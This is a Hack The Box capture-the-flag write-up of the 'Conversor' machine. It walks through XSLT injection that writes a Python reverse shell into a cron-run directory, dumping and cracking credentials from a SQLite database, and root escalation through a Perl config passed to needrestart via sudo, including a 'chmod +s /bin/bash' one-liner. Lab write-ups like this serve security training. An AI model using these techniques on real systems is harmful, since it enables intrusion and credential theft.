Hackthebox: Conversor
Overview
Conversor is an easy-difficulty machine from Hack The Box that starts with a web application allowing XSLT file uploads. By leveraging XSLT injection to write a malicious Python script into a cron-executed directory, we gain initial access as www-data. From there, we extract a SQLite database containing user credentials, crack the hash, and pivot to user fismathack. Privilege escalation abuses a sudo misconfiguration on needrestart, which allows loading an arbitrary configuration file to achieve root.

Reconnaissance
Starting with a port scan, we identify two open services.
1 | PORT STATE SERVICE VERSION |
Port 80 redirects to http://conversor.htb/ — we add it to /etc/hosts and proceed.
Web Enumeration
The application is an XSLT converter. Navigating to the About page reveals a link to download the source code.
1 | http://conversor.htb/static/source_code.tar.gz |
Reviewing the source, we find the application accepts XSLT file uploads and processes them. Looking at install.md, we find a cronjob definition that executes every Python script under the scripts/ directory every minute as www-data.
1 | """ |
This is interesting — if we can write a .py file into /var/www/conversor.htb/scripts/, it will be executed automatically.
XSLT Injection - Initial Access
XSLT injection can be leveraged not just for reading files, but also for writing files using the exslt:document extension. We craft a malicious XSLT stylesheet that writes a Python reverse shell into the cron-executed scripts/ directory.
1 | <?xml version="1.0" encoding="UTF-8"?> |
We upload the provided nmap.xslt file from http://conversor.htb/static/nmap.xslt as the XML input and our malicious XSLT file as the stylesheet. After waiting about a minute for the cronjob to trigger, we catch a reverse shell.
1 | ┌──(kali㉿kali)-[~] |
Lateral Movement
Enumerating the web application directory, we find a SQLite database under instance/.
1 | ┌──(kali㉿kali)-[~] |
We exfiltrate users.db by base64-encoding it and dumping the credentials.
1 | ┌──(kali㉿kali)-[~] |
Cracking the MD5 hash for fismathack gives us Keepmesafeandwarm. We su to the user and grab the user flag.
1 | su fismathack |
Privilege Escalation
Checking sudo permissions, fismathack can run needrestart as root without a password.
1 | sudo -l |
needrestart accepts a -c flag to specify a custom configuration file. Since the configuration file is parsed as Perl, we can inject arbitrary Perl code. We write a one-liner that sets the SUID bit on /bin/bash and pass it as the config file.
1 | echo 'system("chmod +s /bin/bash")' > exp.sh |
Hope you learned something new!
- 0xkujen
- Title: Hackthebox: Conversor
- Author: Foued SAIDI
- Created at : 2026-03-25 20:59:29
- Updated at : 2026-03-25 21:38:36
- Link: https://kujen5.github.io/2026/03/25/Hackthebox-Conversor/
- License: This work is licensed under CC BY-NC-SA 4.0.